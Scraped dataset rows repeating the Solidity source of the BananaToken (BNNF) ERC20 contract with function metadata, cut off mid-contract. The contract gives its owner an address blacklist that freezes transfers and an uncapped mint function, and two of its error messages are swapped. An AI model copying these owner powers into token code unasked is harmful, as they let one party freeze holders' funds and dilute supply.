*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
2760,
2916
]
} | 8,996 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
3358,
3831
]
} | 8,997 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | increaseAllowance | function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
4210,
4415
]
} | 8,998 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | decreaseAllowance | function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
4884,
5140
]
} | 8,999 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | mint | function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
| /**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
5337,
5462
]
} | 9,000 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
